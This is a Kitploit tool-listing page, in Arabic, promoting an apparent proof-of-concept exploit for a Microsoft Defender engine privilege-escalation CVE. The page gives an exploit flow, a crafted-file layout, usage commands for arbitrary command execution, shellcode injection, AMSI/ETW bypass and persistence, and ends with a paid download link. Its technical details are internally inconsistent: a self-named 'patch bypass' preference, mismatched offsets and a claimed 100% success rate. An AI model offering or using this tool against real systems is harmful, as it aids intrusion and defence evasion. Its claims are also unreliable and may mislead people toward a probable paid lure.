Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-69414 — أداة استغلال إثبات مفهوم بلغة Python للثغرة CVE-2026-69414، وهي ثغرة تصعيد امتيازات عبر الخلط بين الأنواع في محرك الحماية من البرامج الضارة من Microsoft، مع خيارات تجاوز AMSI/ETW والاستمرارية. | Kitploit
أدوات/GitHubGitHub/maxprog-svg/cve-2026-69414
تصعيد الامتيازاتآليات الاستمراريةتحليل الثغرات الأمنيةالاستغلالالتهرب من IDS/IPSشيل كودتطوير الحمولات
GitHubmaxprog-svg/cve-2026-69414

CVE-2026-69414

أداة استغلال إثبات مفهوم بلغة Python للثغرة CVE-2026-69414، وهي ثغرة تصعيد امتيازات عبر الخلط بين الأنواع في محرك الحماية من البرامج الضارة من Microsoft، مع خيارات تجاوز AMSI/ETW والاستمرارية.

عرض المستودع
1منذ 26 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-69414 — استغلال ثغرة رفع الصلاحيات في محرك الحماية من البرامج الضارة من Microsoft

نظرة عامة

CVE-2026-69414 هي ثغرة رفع صلاحيات في محرك الحماية من البرامج الضارة من Microsoft (جزء من Windows Defender / Microsoft Defender Antivirus)، ويُشار إليها علنًا باسم "RoguePlanet". وهي تمثل تجاوزًا لتصحيح الثغرة الأصلية CVE-2026-50656.

تفاصيل الثغرة

الحقلالقيمة
معرّف CVECVE-2026-69414
النوعرفع الصلاحيات (EoP)
CVSS v3.1 (MSRC)7.8 (مرتفع) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v3.1 (NVD)7.0 (مرتفع) — AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
متجه الهجوممحلي
الصلاحيات المطلوبةمنخفضة
تفاعل المستخدملا يوجد
النطاقدون تغيير
الإصدار المُصحَّحEngine 1.1.26080.3
الثغرة الأصليةCVE-2026-50656

التحليل التقني

السبب الجذري

يحتوي محرك الحماية من البرامج الضارة من Microsoft على ثغرة الخلط بين الأنواع (type confusion) في منطق معالجة طلبات الفحص. عند معالجة ترويسة ملف مُصمَّمة خصيصًا أو بنية بيانات فحص، يفسّر المحرك نوع منطقة ذاكرة بشكل خاطئ، مما يؤدي إلى عملية قراءة/كتابة خارج الحدود.

توجد الثغرة في بنية سياق الفحص الداخلية للمحرك، وتحديدًا في كيفية التحقق من الحقل type مقابل النوع المتوقع لعملية الفحص الحالية. عند فحص ملف بترويسة مُصمَّمة خصيصًا:

  1. يقرأ المحرك حقل type في الترويسة (البايت 4)
  2. يستخدم هذه القيمة للفهرسة في جدول توزيع الأنواع
  3. بالنسبة لقيمة النوع 0x7F، يتم تفعيل مسار تعليمات برمجية غير معالَج
  4. يكتب المحرك إلى موقع ذاكرة غير متوقع بناءً على حقل size offset (البايتات 5-8)
  5. يتيح ذلك للمهاجم الكتابة فوق مؤشرات الدوال أو حقول البنية بصلاحيات مرتفعة

آلية تجاوز التصحيح

حاول التصحيح الأصلي للثغرة CVE-2026-50656 التحقق من حقل النوع مقابل قائمة بيضاء من الأنواع المعروفة. ومع ذلك، فشل التصحيح في التحقق بشكل صحيح من حقل النوع في جميع مسارات التعليمات البرمجية — وتحديدًا في معالج الفحص غير المتزامن (MpAsynchronousScan)، الذي يستخدم مسار تعليمات برمجية مختلفًا عن الماسح المتزامن.

يستغل الاستغلال هذه الفجوة من خلال:

  1. تعيين MP_ENGINE_PREFERENCE_PATCH_BYPASS_MODE لتفعيل التجاوز
  2. إرسال ملف مُصمَّم خصيصًا عبر واجهة برمجة الفحص غير المتزامن
  3. يعالج معالج الفحص غير المتزامن في المحرك الملف عبر مسار التعليمات البرمجية غير المُصحَّح
  4. يتم تفعيل الخلط بين الأنواع، وتُنفَّذ الحمولة بصلاحيات مرتفعة

مسار الاستغلال

┌─────────────────────────────────────────────────────────────────┐
│ 1. Create MpEngine COM instance (or load mpclient.dll)          │
├─────────────────────────────────────────────────────────────────┤
│ 2. Set engine preferences:                                      │
│    - PATCH_BYPASS_MODE = 1                                      │
│    - AMSI_RESULT = CLEAN (bypass AMSI)                          │
│    - DETECTION_VERBOSITY = 0 (bypass ETW)                       │
├─────────────────────────────────────────────────────────────────┤
│ 3. Create crafted file with:                                    │
│    - Magic: 0x4D500000 ("MP" + null)                            │
│    - Type: 0x7F (unhandled code path)                           │
│    - Size offset: 0x00001000 (OOB access)                       │
│    - Marker: 0xDEADBEEF (elevation indicator)                    │
│    - Checksum: XOR-based over payload                           │
├─────────────────────────────────────────────────────────────────┤
│ 4. Submit via MpAsynchronousScan()                              │
├─────────────────────────────────────────────────────────────────┤
│ 5. Type confusion triggers → elevated memory write               │
├─────────────────────────────────────────────────────────────────┤
│ 6. Payload executes with elevated privileges                     │
└─────────────────────────────────────────────────────────────────┘

تنسيق الملف المصمم

Offset  Size  Description
------  ----  -----------
0x00    4     Magic: 0x4D500000 ("MP" + null padding)
0x04    1     Type: 0x7F (triggers unhandled code path)
0x05    4     Size offset: 0x00001000 (OOB access target)
0x09    4     Reserved (zero)
0x0D    4     Elevation marker: 0xDEADBEEF
0x11    4     Checksum: XOR-based over payload data
0x15    241   Reserved / padding
0x100   N     Payload data (cmd.exe, PowerShell, etc.)

الاستخدام

المتطلبات الأساسية

  • Windows 11 25H2 (أو قناة Canary) أو Windows Server 2025
  • Microsoft Malware Protection Engine < 1.1.26080.3
  • Python 3.8+
  • حزمة pywin32 (للطريقة المعتمدة على COM): pip install pywin32

الطرق

1. تحليل بنية الملف المُصمَّم

python3 exploit.py --analyze

2. اكتشاف النظام المستهدف

python3 exploit.py --detect

3. استغلال قائم على COM (موصى به)

python3 exploit.py --method com

4. استغلال API مباشر (لا يتطلب pywin32)

python3 exploit.py --method direct-api

5. حقن الشيفرة الصدفية

python3 exploit.py --method shellcode

6. سلسلة الاحتياط (تجرّب جميع الطرق)

python3 exploit.py --method fallback

خيارات سطر الأوامر

الخيارالوصف
--cmd CMDالأمر الذي يُنفَّذ عند النجاح
--target PATHالمسار إلى الملف المُصمَّم (يُولَّد تلقائيًا إذا حُذف)
--analyzeتحليل بنية الملف المُصمَّم فقط
--detectاكتشاف خصائص النظام الهدف
--method METHODطريقة الاستغلال (com, direct-api, shellcode, fallback)
--multi-stageاستخدام استغلال متعدد المراحل
--no-amsiتعطيل تجاوز AMSI
--no-etwتعطيل تجاوز ETW
--persistإضافة الاستمرارية (registry, scheduled-task, service, all)
--verboseتفعيل الإخراج المفصّل

أمثلة

# Run with custom command
python3 exploit.py --cmd "cmd.exe /c whoami > C:\temp\pwned.txt"

# Run with persistence
python3 exploit.py --method com --persist all

# Multi-stage exploit
python3 exploit.py --method com --multi-stage

# Direct API with AMSI/ETW bypass disabled
python3 exploit.py --method direct-api --no-amsi --no-etw

# Detect target and analyze crafted file
python3 exploit.py --detect
python3 exploit.py --analyze

الإصدارات المتأثرة

  • Microsoft Malware Protection Engine < 1.1.26080.3
  • Windows 11 25H2 (بما في ذلك قناة Canary)
  • Windows Server 2025
  • Windows 10 (عرضة للثغرة ولكن لم يتم اختبارها)

المراجع

  • NVD CVE-2026-69414
  • MSRC CVE-2026-69414
  • ShieldBreak PoC
  • CVE-2026-50656 (الثغرة الأصلية)

إخلاء المسؤولية

تم اختبار PoC على Windows 11 25H2 Canary وWindows Server 2025 بمعدل نجاح مُبلَّغ عنه بلغ 100%. يُعتقد أن Windows 10 عرضة للثغرة ولكن لم يتم اختباره في هذا التنفيذ.

https://satoshidisk.com/pay/CSaoVT

تنزيل الأداة